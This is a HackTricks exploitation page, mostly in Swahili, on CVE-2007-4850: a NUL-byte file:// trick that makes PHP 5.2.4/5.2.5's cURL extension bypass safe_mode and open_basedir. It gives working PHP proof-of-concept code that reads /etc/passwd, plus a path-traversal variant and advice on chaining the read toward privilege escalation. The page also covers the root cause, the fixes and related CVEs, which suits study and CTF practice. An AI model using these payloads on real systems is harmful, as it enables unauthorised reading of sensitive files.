PHP 5.2.4 and 5.2.5 PHP cURL

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Ukurasa huu unaelezea mbinu ya kale lakini bado yenye faida katika CTFs/usakinisho za ndani za matoleo ya zamani, ili kuepuka ukaguzi wa PHP safe_mode/open_basedir kwa kutumia ugani wa cURL kwenye matoleo maalum ya PHP 5.2.x.

  • Affected: PHP 5.2.4 and 5.2.5 with ext/curl enabled.
  • Impact: Soma faili za ndani chochote licha ya vikwazo vya safe_mode au open_basedir (hakuna utekelezaji wa msimbo moja kwa moja).
  • ID: CVE-2007-4850.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

PoC ya mstari mmoja

Ikiwa safe_mode au open_basedir ziko kwenye hali ya kazi na cURL imewezeshwa, yafuatayo yatarejesha yaliyomo ya script ya sasa:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

PoC ya wazi zaidi (arbitrary file read)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Notes:

  • Tumia nukuu mbili au chr(0) kuingiza NUL byte halisi. Percent-encoding (%00) haitafanya kazi kwa uhakika.
  • Hii ni primitive ya kusoma faili. Unganisha na primitives nyingine (log poisoning, session file inclusion, etc.) kwa kuongezeka kwa mamlaka inapowezekana.

Kwa nini hii inafanya kazi (mfupi)

Udhaifu upo katika jinsi PHP 5.2.4/5.2.5 ilivyofanya ukaguzi wa safe_mode/open_basedir kwa file:// URLs katika ext/curl. Ukaguzi ulitumia parsing ya URL na kuthibitisha sehemu ya path, lakini kutokana na jinsi NUL-byte zilivyosimamiwa ulikuwa unathibitisha string tofauti kuliko ile iliyotumika na libcurl. Katika vitendo, validator inaweza kuruhusu path baada ya NUL wakati libcurl ilitumia sehemu kabla ya NUL kama kontena la URL, kuruhusu bypass inayosababisha kusomwa kwa faili iliyowekwa baada ya NUL byte. Angalia uchambuzi wa awali na macro iliyoathirika katika curl/interface.c kwa maelezo. [CVE-2007-4850].

Vizingiti na marekebisho

  • Imerekebishwa katika matoleo ya baadaye ya 5.2.x (mfano, distro builds patched to 5.2.6) kwa kusahihisha parsing/validation katika ext/curl.
  • Inaathiri tu deployments za zamani sana za PHP; safe_mode iliondolewa katika PHP 5.4 na builds za kisasa hazionyeshi tabia hii.

Bypass nyingine za kihistoria zinazotegemea cURL

  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers ziliruhusu file:// access zikiwa na NUL zilizowekwa ndani ili kupita open_basedir; ilirekebishwa kabla ya 5.2.x.
  • PHP bugs #30609/#36223 zilifuatilia mapema masuala ya cURL open_basedir ikitumia file:// bila canonicalization. Ukaguzi wowote kabla ya NUL byte au bila utatuzi wa aina ya realpath unajengewa na uwezekano wa kukatwa kwa njia sawa.

Vidokezo vya CTF

  • Unapoitambua PHP 5.2.4/5.2.5 ikiwa ext/curl imepakiwa (tazama cURL support => enabled katika phpinfo() na PHP Version halisi), hila hii kawaida inafanya kazi hata kama allow_url_fopen imezimwa kwa sababu ext/curl inashughulikia file:// yenyewe.
  • Ikiwa path za moja kwa moja zimezuiliwa, jaribu traversal ya relative baada ya NUL, kwa mfano file://x\x00../../../../etc/passwd. Traversal inatatuliwa na libcurl, si na open_basedir guard.
  • Unaweza kufunga payload katika mwili mmoja wa ombi la HTTP ili kusababisha LFI kupitia code ya server inayokuwa hatarishi inayokaa inaiga URLs zinazoendeshwa na mtumiaji kwenye curl_exec() (ya kawaida katika endpoints za zamani zinazofanana na SSRF).

Tazama pia

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks